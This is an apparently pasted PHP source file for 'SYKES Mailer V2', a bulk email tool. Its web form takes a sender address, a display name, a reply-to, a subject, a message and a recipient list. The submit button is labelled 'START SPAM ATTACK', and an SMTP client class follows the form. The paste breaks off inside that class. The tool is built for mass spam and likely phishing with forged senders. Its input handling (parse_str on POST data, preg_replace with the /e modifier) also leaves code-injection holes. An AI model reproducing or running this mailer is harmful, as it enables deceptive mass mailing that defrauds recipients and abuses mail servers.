· 9 years ago · May 23, 2017, 07:36 PM
1<?
2
3error_reporting(E_ALL);
4ini_set('display_errors', 1);
5error_reporting(0);
6function query_str($params){
7$str = '';
8foreach ($params as $key => $value) {
9$str .= (strlen($str) < 1) ? '' : '&';
10$str .= $key . '=' . rawurlencode($value);
11}
12return ($str);
13}
14function lrtrim($string){
15return stripslashes(ltrim(rtrim($string)));
16}
17if(isset($_POST['action'] ) ){
18
19$b = query_str($_POST);
20parse_str($b);
21$sslclick=lrtrim($sslclick);
22$action=lrtrim($action);
23$message=lrtrim($message);
24$emaillist=lrtrim($emaillist);
25$from=lrtrim($from);
26$reconnect=lrtrim($reconnect);
27$epriority=lrtrim($epriority);
28$my_smtp=lrtrim($my_smtp);
29$ssl_port=lrtrim($ssl_port);
30$smtp_username=lrtrim($smtp_username);
31$smtp_password=lrtrim($smtp_password);
32$replyto=lrtrim($replyto);
33$subject_base=lrtrim($subject);
34$realname_base=lrtrim($realname);
35$file_name=$_FILES['file']['name'];
36$file=$_FILES['file']['tmp_name'];
37$urlz=lrtrim($urlz);
38$contenttype=lrtrim($contenttype);
39$encode_text=$_POST['encode'];
40
41
42 $message = urlencode($message);
43 $message = ereg_replace("%5C%22", "%22", $message);
44 $message = urldecode($message);
45 $message = stripslashes($message);
46 $subject = stripslashes($subject);
47 if ($encode_text == "yes") {
48 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
49 $subject = str_replace(' ', '_', $subject);
50 $subject = "=?UTF-8?Q?$subject?=";
51 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
52 $realname = str_replace(' ', '_', $realname);
53 $realname = "=?UTF-8?Q?$realname?=";
54 }
55}
56
57?>
58
59<html>
60
61<head>
62
63<title>SYKES Mailer V2</title>
64<link rel="shortcut icon" type="image/png" href="http://icons.iconarchive.com/icons/toma4025/rumax/256/mails-icon.png"/>
65<link href='http://fonts.googleapis.com/css?family=Oswald:300' rel='stylesheet' type='text/css'>
66 <link rel="stylesheet" href="">
67<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
68<script src=''></script>
69<link href='http://fonts.googleapis.com/css?family=Oswald:300' rel='stylesheet' type='text/css'>
70
71<style type="text/css">
72
73
74
75@font-face {
76 font-family: 'Oswald';
77 font-style: normal;
78}
79* {
80font-weight:bold;
81font-family: "Oswald";
82}
83
84
85.style1 {
86 font-family: Oswald, Arial, Helvetica, sans-serif;
87}
88body{
89margin:0px;
90}
91.bgup {
92background: url(https://cdn.shopify.com/s/files/1/0094/2162/products/Sample19.3_grande_264f6235-7ef3-4200-8679-2a1aa9024b0b_1024x1024.jpg?v=1481126572);
93}
94
95.uibutton {
96 position: relative;
97 z-index: 1;
98 overflow: visible;
99 display: inline-block;
100 padding: 0.3em 0.6em 0.375em;
101 border: 1px solid #878076;
102 border-bottom-color: #878076;
103
104 margin: 0;
105 text-decoration: none;
106 text-align: center;
107 font: bold 18px/normal Oswald, verdana, arial, sans-serif;
108 white-space: nowrap;
109 cursor: pointer;
110 /* outline: none; */
111 color: #f9f9f9;
112 background-color: #eee;
113 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#878076), to(#878076));
114 background-image: -moz-linear-gradient(#878076, #878076);
115 background-image: -o-linear-gradient(#878076, #878076);
116 background-image: linear-gradient(#878076, #878076);
117
118 /* IE hacks */
119
120 *display: inline;
121
122}
123
124.uibutton:hover,
125.uibutton:focus,
126.uibutton:active {
127 border-color: #878076 #878076 #878076 #878076;
128}
129
130.uibutton:active {
131 border-color: #878076;
132 background: #878076;
133 filter: none;
134 -webkit-box-shadow: none;
135 -moz-box-shadow: none;
136 box-shadow: none;
137}
138
139/* overrides extra padding on button elements in Firefox */
140.uibutton::-moz-focus-inner {
141 padding: 0;
142 border: 0;
143}
144
145/*Loadigng tzebi*/
146.back-link a {
147 color: #4ca340;
148 text-decoration: none;
149 border-bottom: 1px #4ca340 solid;
150 }
151 .back-link a:hover,
152 .back-link a:focus {
153 color: #408536;
154 text-decoration: none;
155 border-bottom: 1px #408536 solid;
156 }
157 h1 {
158 height: 100%;
159 /* The html and body elements cannot have any padding or margin. */
160 margin: 0;
161 font-size: 14px;
162 font-family: 'Open Sans', sans-serif;
163 font-size: 32px;
164 margin-bottom: 3px;
165 }
166 .entry-header {
167 text-align: left;
168 margin: 0 auto 50px auto;
169 width: 80%;
170 max-width: 978px;
171 position: relative;
172 z-index: 10001;
173 }
174 #demo-content {
175 padding-top: 100px;
176 }
177
178-->
179</style>
180<style type="text/css">
181<!--
182.style1 {
183 font-size: 10px;
184 font-family: Oswald, Arial, Helvetica, sans-serif;
185}
186-->
187</style>
188<script>
189window.addEventListener("load", function(){
190 var load_screen = document.getElementById("loader-wrapper");
191 setTimeout( function ( ) { document.body.removeChild(load_screen); }, 5000 );
192});
193</script>
194</head>
195
196<body bgcolor="#f9f9f9" class="bgup" class="demo">
197 <div id="loader-wrapper">
198 <div id="loader"></div>
199 <div class="loader-section section-left"></div>
200 <div class="loader-section section-right"></div>
201 </div>
202<div class="cadre" style="height:10px;margin:0px auto;"></div>
203<div style="width:80%;margin:0 auto;">
204<p align="center"><img src="http://i.imgur.com/OSuC4Z4.png" alt="www.T00lz.us" height=""></p>
205<form name="form1" method="post" action="" enctype="multipart/form-data">
206
207 <br>
208
209 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
210
211
212
213 <tr>
214
215 <td width="100%" colspan="4" style="color:#fff;background:#878076" height="36">
216
217 <b>
218
219 <center><font face="Arial" size="2" color="#FFFFFF"> SYKES EDITION 2017 V2</font> </center></b></td>
220
221 </tr>
222 <tr>
223
224 <td width="10%" height="22" style="padding:10px;">
225 </font></td>
226
227 </tr>
228 <tr>
229
230 <td width="10%" height="22" style="padding:10px;">
231
232 <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
233
234 Email:</font></div>
235
236 </td>
237
238 <td width="50%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
239
240 <input type="text" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="from" value="<?=$from;?>" size="50">
241
242 </font></td>
243
244 <td width="31%" height="22" style="padding:10px;">
245
246 <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
247
248 Name:</font></div>
249
250 </td>
251
252 <td width="41%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
253
254 <input type="text" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="realname" value="<?=$realname_base;?>" size="50">
255
256 </font></td>
257
258 </tr>
259 <tr>
260
261 <td width="10%" height="22" style="padding:10px;">
262
263 <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
264
265 </td>
266
267 <td width="50%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
268
269 <input type="text" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="replyto" value="<?=$replyto;?>" size="50">
270
271 </font></td>
272
273 <td width="31%" height="22" style="padding:10px;">
274
275 <p align="right"><font size="3" color='black' face="Verdana, Arial, Helvetica, sans-serif">
276 Priority:</font></td>
277
278 <td width="41%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
279
280 </font><select style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
281 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
282 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
283 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
284 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
285 </select>
286 <font size="3"> Email Tag : <input type="text" size="12" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="rpemail" value="%email%" size="10">
287
288
289
290
291 </td>
292
293 </tr>
294
295 <tr>
296
297 <td width="10%" height="22" style="padding:10px;">
298
299 <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
300
301 </td>
302
303 <td colspan="3" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
304
305 <input type="text" name="subject" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" value="<?=$subject_base;?>" size="90">
306
307 </font></td>
308
309 </tr>
310
311
312 <tr valign="top">
313
314<td colspan="3" height="190" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
315
316 <textarea name="message" cols="120" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" rows="10"><?=$message;?></textarea>
317
318 <br>
319
320
321
322 </font></td>
323
324 <td width="41%" height="190" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
325
326 <textarea name="emaillist" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" cols="70" rows="10"><?=$emaillist;?></textarea>
327
328 </font></td>
329
330 </tr>
331 <tr>
332
333 <td width="100%" colspan="4" style="color:#fff;background:#878076" height="36">
334
335 <b>
336
337 <input type="hidden" name="action" value="send">
338 <input class="uibutton" width="100%" style="color:#fff;background:#878076" type="submit" value="START SPAM ATTACK">
339
340 </tr>
341 </table>
342<br><br>
343</form>
344
345
346
347
348<?
349
350if ($action){
351 if (!$from && !$subject && !$message && !$emaillist){
352 print "<script>alert('Please complete all fields before sending message.'); </script>";
353 die(); }
354
355class SMTP
356{
357 /**
358 * SMTP server port
359 * @var int
360 */
361 var $SMTP_PORT = 25;
362
363 /**
364 * SMTP reply line ending
365 * @var string
366 */
367 var $CRLF = "\r\n";
368
369 /**
370 * Sets whether debugging is turned on
371 * @var bool
372 */
373 var $do_debug; # the level of debug to perform
374
375 /**
376 * Sets VERP use on/off (default is off)
377 * @var bool
378 */
379 var $do_verp = false;
380
381 /**#@+
382 * @access private
383 */
384 var $smtp_conn; # the socket to the server
385 var $error; # error if any on the last call
386 var $helo_rply; # the reply the server sent to us for HELO
387 /**#@-*/
388
389 /**
390 * Initialize the class so that the data is in a known state.
391 * @access public
392 * @return void
393 */
394 function SMTP() {
395 $this->smtp_conn = 0;
396 $this->error = null;
397 $this->helo_rply = null;
398
399 $this->do_debug = 0;
400 }
401
402 /*************************************************************
403 * CONNECTION FUNCTIONS *
404 ***********************************************************/
405
406 /**
407 * Connect to the server specified on the port specified.
408 * If the port is not specified use the default SMTP_PORT.
409 * If tval is specified then a connection will try and be
410 * established with the server for that number of seconds.
411 * If tval is not specified the default is 30 seconds to
412 * try on the connection.
413 *
414 * SMTP CODE SUCCESS: 220
415 * SMTP CODE FAILURE: 421
416 * @access public
417 * @return bool
418 */
419
420 function Connect($host,$port=0,$tval=30) {
421 # set the error val to null so there is no confusion
422 $this->error = null;
423
424 # make sure we are __not__ connected
425 if($this->connected()) {
426 # ok we are connected! what should we do?
427 # for now we will just give an error saying we
428 # are already connected
429 $this->error = array("error" => "Already connected to a server");
430 return false;
431 }
432
433 if(empty($port)) {
434 $port = $this->SMTP_PORT;
435 }
436
437 #connect to the smtp server
438 $this->smtp_conn = fsockopen($host, # the host of the server
439 $port, # the port to use
440 $errno, # error number if any
441 $errstr, # error message if any
442 $tval); # give up after ? secs
443 # verify we connected properly
444 if(empty($this->smtp_conn)) {
445 $this->error = array("error" => "Failed to connect to server",
446 "errno" => $errno,
447 "errstr" => $errstr);
448 if($this->do_debug >= 1) {
449 echo "SMTP -> ERROR: " . $this->error["error"] .
450 ": $errstr ($errno)" . $this->CRLF;
451 }
452 return false;
453 }
454
455 # sometimes the SMTP server takes a little longer to respond
456 # so we will give it a longer timeout for the first read
457 // Windows still does not have support for this timeout function
458 if(substr(PHP_OS, 0, 3) != "WIN")
459 socket_set_timeout($this->smtp_conn, $tval, 0);
460
461 # get any announcement stuff
462 $announce = $this->get_lines();
463
464 # set the timeout of any socket functions at 1/10 of a second
465 //if(function_exists("socket_set_timeout"))
466 // socket_set_timeout($this->smtp_conn, 0, 100000);
467
468 if($this->do_debug >= 2) {
469 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
470 }
471
472 return true;
473 }
474
475 /**
476 * Performs SMTP authentication. Must be run after running the
477 * Hello() method. Returns true if successfully authenticated.
478 * @access public
479 * @return bool
480 */
481 function Authenticate($username, $password) {
482 // Start authentication
483 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
484
485 $rply = $this->get_lines();
486 $code = substr($rply,0,3);
487
488 if($code != 334) {
489 $this->error =
490 array("error" => "AUTH not accepted from server",
491 "smtp_code" => $code,
492 "smtp_msg" => substr($rply,4));
493 if($this->do_debug >= 1) {
494 echo "SMTP -> ERROR: " . $this->error["error"] .
495 ": " . $rply . $this->CRLF;
496 }
497 return false;
498 }
499
500 // Send encoded username
501 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
502
503 $rply = $this->get_lines();
504 $code = substr($rply,0,3);
505
506 if($code != 334) {
507 $this->error =
508 array("error" => "Username not accepted from server",
509 "smtp_code" => $code,
510 "smtp_msg" => substr($rply,4));
511 if($this->do_debug >= 1) {
512 echo "SMTP -> ERROR: " . $this->error["error"] .
513 ": " . $rply . $this->CRLF;
514 }
515 return false;
516 }
517
518 // Send encoded password
519 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
520
521 $rply = $this->get_lines();
522 $code = substr($rply,0,3);
523
524 if($code != 235) {
525 $this->error =
526 array("error" => "Password not accepted from server",
527 "smtp_code" => $code,
528 "smtp_msg" => substr($rply,4));
529 if($this->do_debug >= 1) {
530 echo "SMTP -> ERROR: " . $this->error["error"] .
531 ": " . $rply . $this->CRLF;
532 }
533 return false;
534 }
535
536 return true;
537 }
538
539 /**
540 * Returns true if connected to a server otherwise false
541 * @access private
542 * @return bool
543 */
544 function Connected() {
545 if(!empty($this->smtp_conn)) {
546 $sock_status = socket_get_status($this->smtp_conn);
547 if($sock_status["eof"]) {
548 # hmm this is an odd situation... the socket is
549 # valid but we are not connected anymore
550 if($this->do_debug >= 1) {
551 echo "SMTP -> NOTICE:" . $this->CRLF .
552 "EOF caught while checking if connected";
553 }
554 $this->Close();
555 return false;
556 }
557 return true; # everything looks good
558 }
559 return false;
560 }
561
562 /**
563 * Closes the socket and cleans up the state of the class.
564 * It is not considered good to use this function without
565 * first trying to use QUIT.
566 * @access public
567 * @return void
568 */
569 function Close() {
570 $this->error = null; # so there is no confusion
571 $this->helo_rply = null;
572 if(!empty($this->smtp_conn)) {
573 # close the connection and cleanup
574 fclose($this->smtp_conn);
575 $this->smtp_conn = 0;
576 }
577 }
578/////////////////////////////////////////////////////////////////////////////////////////
579/////////////////////////////////////////////////////////////////////////////////////////
580
581///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
582
583/////////////////////////////////////////////////////////////////////////////////////////
584/////////////////////////////////////////////////////////////////////////////////////////
585 /***************************************************************
586 * SMTP COMMANDS *
587 *************************************************************/
588
589 /**
590 * Issues a data command and sends the msg_data to the server
591 * finializing the mail transaction. $msg_data is the message
592 * that is to be send with the headers. Each header needs to be
593 * on a single line followed by a <CRLF> with the message headers
594 * and the message body being seperated by and additional <CRLF>.
595 *
596 * Implements rfc 821: DATA <CRLF>
597 *
598 * SMTP CODE INTERMEDIATE: 354
599 * [data]
600 * <CRLF>.<CRLF>
601 * SMTP CODE SUCCESS: 250
602 * SMTP CODE FAILURE: 552,554,451,452
603 * SMTP CODE FAILURE: 451,554
604 * SMTP CODE ERROR : 500,501,503,421
605 * @access public
606 * @return bool
607 */
608
609
610 function Data($msg_data) {
611 $this->error = null; # so no confusion is caused
612
613 if(!$this->connected()) {
614 $this->error = array(
615 "error" => "Called Data() without being connected");
616 return false;
617 }
618
619 fputs($this->smtp_conn,"DATA" . $this->CRLF);
620
621 $rply = $this->get_lines();
622 $code = substr($rply,0,3);
623
624 if($this->do_debug >= 2) {
625 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
626 }
627
628 if($code != 354) {
629 $this->error =
630 array("error" => "DATA command not accepted from server",
631 "smtp_code" => $code,
632 "smtp_msg" => substr($rply,4));
633 if($this->do_debug >= 1) {
634 echo "SMTP -> ERROR: " . $this->error["error"] .
635 ": " . $rply . $this->CRLF;
636 }
637 return false;
638 }
639
640 # the server is ready to accept data!
641 # according to rfc 821 we should not send more than 1000
642 # including the CRLF
643 # characters on a single line so we will break the data up
644 # into lines by \r and/or \n then if needed we will break
645 # each of those into smaller lines to fit within the limit.
646 # in addition we will be looking for lines that start with
647 # a period '.' and append and additional period '.' to that
648 # line. NOTE: this does not count towards are limit.
649
650 # normalize the line breaks so we know the explode works
651 $msg_data = str_replace("\r\n","\n",$msg_data);
652 $msg_data = str_replace("\r","\n",$msg_data);
653 $lines = explode("\n",$msg_data);
654
655 # we need to find a good way to determine is headers are
656 # in the msg_data or if it is a straight msg body
657 # currently I am assuming rfc 822 definitions of msg headers
658 # and if the first field of the first line (':' sperated)
659 # does not contain a space then it _should_ be a header
660 # and we can process all lines before a blank "" line as
661 # headers.
662 $field = substr($lines[0],0,strpos($lines[0],":"));
663 $in_headers = false;
664 if(!empty($field) && !strstr($field," ")) {
665 $in_headers = true;
666 }
667
668 $max_line_length = 998; # used below; set here for ease in change
669
670 while(list(,$line) = @each($lines)) {
671 $lines_out = null;
672 if($line == "" && $in_headers) {
673 $in_headers = false;
674 }
675 # ok we need to break this line up into several
676 # smaller lines
677 while(strlen($line) > $max_line_length) {
678 $pos = strrpos(substr($line,0,$max_line_length)," ");
679
680 # Patch to fix DOS attack
681 if(!$pos) {
682 $pos = $max_line_length - 1;
683 }
684
685 $lines_out[] = substr($line,0,$pos);
686 $line = substr($line,$pos + 1);
687 # if we are processing headers we need to
688 # add a LWSP-char to the front of the new line
689 # rfc 822 on long msg headers
690 if($in_headers) {
691 $line = "\t" . $line;
692 }
693 }
694 $lines_out[] = $line;
695
696 # now send the lines to the server
697 while(list(,$line_out) = @each($lines_out)) {
698 if(strlen($line_out) > 0)
699 {
700 if(substr($line_out, 0, 1) == ".") {
701 $line_out = "." . $line_out;
702 }
703 }
704 fputs($this->smtp_conn,$line_out . $this->CRLF);
705 }
706 }
707
708 # ok all the message data has been sent so lets get this
709 # over with aleady
710 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
711
712 $rply = $this->get_lines();
713 $code = substr($rply,0,3);
714
715 if($this->do_debug >= 2) {
716 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
717 }
718
719 if($code != 250) {
720 $this->error =
721 array("error" => "DATA not accepted from server",
722 "smtp_code" => $code,
723 "smtp_msg" => substr($rply,4));
724 if($this->do_debug >= 1) {
725 echo "SMTP -> ERROR: " . $this->error["error"] .
726 ": " . $rply . $this->CRLF;
727 }
728 return false;
729 }
730 return true;
731 }
732
733 /**
734 * Expand takes the name and asks the server to list all the
735 * people who are members of the _list_. Expand will return
736 * back and array of the result or false if an error occurs.
737 * Each value in the array returned has the format of:
738 * [ <full-name> <sp> ] <path>
739 * The definition of <path> is defined in rfc 821
740 *
741 * Implements rfc 821: EXPN <SP> <string> <CRLF>
742 *
743 * SMTP CODE SUCCESS: 250
744 * SMTP CODE FAILURE: 550
745 * SMTP CODE ERROR : 500,501,502,504,421
746 * @access public
747 * @return string array
748 */
749
750 function Expand($name) {
751 $this->error = null; # so no confusion is caused
752
753 if(!$this->connected()) {
754 $this->error = array(
755 "error" => "Called Expand() without being connected");
756 return false;
757 }
758
759 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
760
761 $rply = $this->get_lines();
762 $code = substr($rply,0,3);
763
764 if($this->do_debug >= 2) {
765 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
766 }
767
768 if($code != 250) {
769 $this->error =
770 array("error" => "EXPN not accepted from server",
771 "smtp_code" => $code,
772 "smtp_msg" => substr($rply,4));
773 if($this->do_debug >= 1) {
774 echo "SMTP -> ERROR: " . $this->error["error"] .
775 ": " . $rply . $this->CRLF;
776 }
777 return false;
778 }
779
780 # parse the reply and place in our array to return to user
781 $entries = explode($this->CRLF,$rply);
782 while(list(,$l) = @each($entries)) {
783 $list[] = substr($l,4);
784 }
785
786 return $list;
787 }
788
789 /**
790 * Sends the HELO command to the smtp server.
791 * This makes sure that we and the server are in
792 * the same known state.
793 *
794 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
795 *
796 * SMTP CODE SUCCESS: 250
797 * SMTP CODE ERROR : 500, 501, 504, 421
798 * @access public
799 * @return bool
800 */
801 function Hello($host="") {
802 $this->error = null; # so no confusion is caused
803
804 if(!$this->connected()) {
805 $this->error = array(
806 "error" => "Called Hello() without being connected");
807 return false;
808 }
809
810 # if a hostname for the HELO was not specified determine
811 # a suitable one to send
812 if(empty($host)) {
813 # we need to determine some sort of appopiate default
814 # to send to the server
815 $host = "localhost";
816 }
817
818 // Send extended hello first (RFC 2821)
819 if(!$this->SendHello("EHLO", $host))
820 {
821 if(!$this->SendHello("HELO", $host))
822 return false;
823 }
824
825 return true;
826 }
827
828 /**
829 * Sends a HELO/EHLO command.
830 * @access private
831 * @return bool
832 */
833 function SendHello($hello, $host) {
834 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
835
836 $rply = $this->get_lines();
837 $code = substr($rply,0,3);
838
839 if($this->do_debug >= 2) {
840 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
841 }
842
843 if($code != 250) {
844 $this->error =
845 array("error" => $hello . " not accepted from server",
846 "smtp_code" => $code,
847 "smtp_msg" => substr($rply,4));
848 if($this->do_debug >= 1) {
849 echo "SMTP -> ERROR: " . $this->error["error"] .
850 ": " . $rply . $this->CRLF;
851 }
852 return false;
853 }
854
855 $this->helo_rply = $rply;
856
857 return true;
858 }
859
860 /**
861 * Gets help information on the keyword specified. If the keyword
862 * is not specified then returns generic help, ussually contianing
863 * A list of keywords that help is available on. This function
864 * returns the results back to the user. It is up to the user to
865 * handle the returned data. If an error occurs then false is
866 * returned with $this->error set appropiately.
867 *
868 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
869 *
870 * SMTP CODE SUCCESS: 211,214
871 * SMTP CODE ERROR : 500,501,502,504,421
872 * @access public
873 * @return string
874 */
875 function Help($keyword="") {
876 $this->error = null; # to avoid confusion
877
878 if(!$this->connected()) {
879 $this->error = array(
880 "error" => "Called Help() without being connected");
881 return false;
882 }
883
884 $extra = "";
885 if(!empty($keyword)) {
886 $extra = " " . $keyword;
887 }
888
889 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
890
891 $rply = $this->get_lines();
892 $code = substr($rply,0,3);
893
894 if($this->do_debug >= 2) {
895 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
896 }
897
898 if($code != 211 && $code != 214) {
899 $this->error =
900 array("error" => "HELP not accepted from server",
901 "smtp_code" => $code,
902 "smtp_msg" => substr($rply,4));
903 if($this->do_debug >= 1) {
904 echo "SMTP -> ERROR: " . $this->error["error"] .
905 ": " . $rply . $this->CRLF;
906 }
907 return false;
908 }
909
910 return $rply;
911 }
912
913 /**
914 * Starts a mail transaction from the email address specified in
915 * $from. Returns true if successful or false otherwise. If True
916 * the mail transaction is started and then one or more Recipient
917 * commands may be called followed by a Data command.
918 *
919 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
920 *
921 * SMTP CODE SUCCESS: 250
922 * SMTP CODE SUCCESS: 552,451,452
923 * SMTP CODE SUCCESS: 500,501,421
924 * @access public
925 * @return bool
926 */
927
928 function Mail($from) {
929 $this->error = null; # so no confusion is caused
930
931 if(!$this->connected()) {
932 $this->error = array(
933 "error" => "Called Mail() without being connected");
934 return false;
935 }
936
937 $useVerp = ($this->do_verp ? "XVERP" : "");
938 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
939
940 $rply = $this->get_lines();
941 $code = substr($rply,0,3);
942
943 if($this->do_debug >= 2) {
944 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
945 }
946
947 if($code != 250) {
948 $this->error =
949 array("error" => "MAIL not accepted from server",
950 "smtp_code" => $code,
951 "smtp_msg" => substr($rply,4));
952 if($this->do_debug >= 1) {
953 echo "SMTP -> ERROR: " . $this->error["error"] .
954 ": " . $rply . $this->CRLF;
955 }
956 return false;
957 }
958 return true;
959 }
960/////////////////////////////////////////////////////////////////////////////////////////
961/////////////////////////////////////////////////////////////////////////////////////////
962
963///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
964
965/////////////////////////////////////////////////////////////////////////////////////////
966/////////////////////////////////////////////////////////////////////////////////////////
967
968 /**
969 * Sends the command NOOP to the SMTP server.
970 *
971 * Implements from rfc 821: NOOP <CRLF>
972 *
973 * SMTP CODE SUCCESS: 250
974 * SMTP CODE ERROR : 500, 421
975 * @access public
976 * @return bool
977 */
978 function Noop() {
979 $this->error = null; # so no confusion is caused
980
981 if(!$this->connected()) {
982 $this->error = array(
983 "error" => "Called Noop() without being connected");
984 return false;
985 }
986
987 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
988
989 $rply = $this->get_lines();
990 $code = substr($rply,0,3);
991
992 if($this->do_debug >= 2) {
993 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
994 }
995
996 if($code != 250) {
997 $this->error =
998 array("error" => "NOOP not accepted from server",
999 "smtp_code" => $code,
1000 "smtp_msg" => substr($rply,4));
1001 if($this->do_debug >= 1) {
1002 echo "SMTP -> ERROR: " . $this->error["error"] .
1003 ": " . $rply . $this->CRLF;
1004 }
1005 return false;
1006 }
1007 return true;
1008 }
1009
1010 /**
1011 * Sends the quit command to the server and then closes the socket
1012 * if there is no error or the $close_on_error argument is true.
1013 *
1014 * Implements from rfc 821: QUIT <CRLF>
1015 *
1016 * SMTP CODE SUCCESS: 221
1017 * SMTP CODE ERROR : 500
1018 * @access public
1019 * @return bool
1020 */
1021 function Quit($close_on_error=true) {
1022 $this->error = null; # so there is no confusion
1023
1024 if(!$this->connected()) {
1025 $this->error = array(
1026 "error" => "Called Quit() without being connected");
1027 return false;
1028 }
1029
1030 # send the quit command to the server
1031 fputs($this->smtp_conn,"quit" . $this->CRLF);
1032
1033 # get any good-bye messages
1034 $byemsg = $this->get_lines();
1035
1036 if($this->do_debug >= 2) {
1037 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1038 }
1039
1040 $rval = true;
1041 $e = null;
1042
1043 $code = substr($byemsg,0,3);
1044 if($code != 221) {
1045 # use e as a tmp var cause Close will overwrite $this->error
1046 $e = array("error" => "SMTP server rejected quit command",
1047 "smtp_code" => $code,
1048 "smtp_rply" => substr($byemsg,4));
1049 $rval = false;
1050 if($this->do_debug >= 1) {
1051 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1052 $byemsg . $this->CRLF;
1053 }
1054 }
1055
1056 if(empty($e) || $close_on_error) {
1057 $this->Close();
1058 }
1059
1060 return $rval;
1061 }
1062
1063 /**
1064 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1065 * Returns true if the recipient was accepted false if it was rejected.
1066 *
1067 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1068 *
1069 * SMTP CODE SUCCESS: 250,251
1070 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1071 * SMTP CODE ERROR : 500,501,503,421
1072 * @access public
1073 * @return bool
1074 */
1075 function Recipient($to) {
1076 $this->error = null; # so no confusion is caused
1077
1078 if(!$this->connected()) {
1079 $this->error = array(
1080 "error" => "Called Recipient() without being connected");
1081 return false;
1082 }
1083
1084 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1085
1086 $rply = $this->get_lines();
1087 $code = substr($rply,0,3);
1088
1089 if($this->do_debug >= 2) {
1090 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1091 }
1092
1093 if($code != 250 && $code != 251) {
1094 $this->error =
1095 array("error" => "RCPT not accepted from server",
1096 "smtp_code" => $code,
1097 "smtp_msg" => substr($rply,4));
1098 if($this->do_debug >= 1) {
1099 echo "SMTP -> ERROR: " . $this->error["error"] .
1100 ": " . $rply . $this->CRLF;
1101 }
1102 return false;
1103 }
1104 return true;
1105 }
1106
1107 /**
1108 * Sends the RSET command to abort and transaction that is
1109 * currently in progress. Returns true if successful false
1110 * otherwise.
1111 *
1112 * Implements rfc 821: RSET <CRLF>
1113 *
1114 * SMTP CODE SUCCESS: 250
1115 * SMTP CODE ERROR : 500,501,504,421
1116 * @access public
1117 * @return bool
1118 */
1119 function Reset() {
1120 $this->error = null; # so no confusion is caused
1121
1122 if(!$this->connected()) {
1123 $this->error = array(
1124 "error" => "Called Reset() without being connected");
1125 return false;
1126 }
1127
1128 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1129
1130 $rply = $this->get_lines();
1131 $code = substr($rply,0,3);
1132
1133 if($this->do_debug >= 2) {
1134 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1135 }
1136
1137 if($code != 250) {
1138 $this->error =
1139 array("error" => "RSET failed",
1140 "smtp_code" => $code,
1141 "smtp_msg" => substr($rply,4));
1142 if($this->do_debug >= 1) {
1143 echo "SMTP -> ERROR: " . $this->error["error"] .
1144 ": " . $rply . $this->CRLF;
1145 }
1146 return false;
1147 }
1148
1149 return true;
1150 }
1151
1152 /**
1153 * Starts a mail transaction from the email address specified in
1154 * $from. Returns true if successful or false otherwise. If True
1155 * the mail transaction is started and then one or more Recipient
1156 * commands may be called followed by a Data command. This command
1157 * will send the message to the users terminal if they are logged
1158 * in.
1159 *
1160 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1161 *
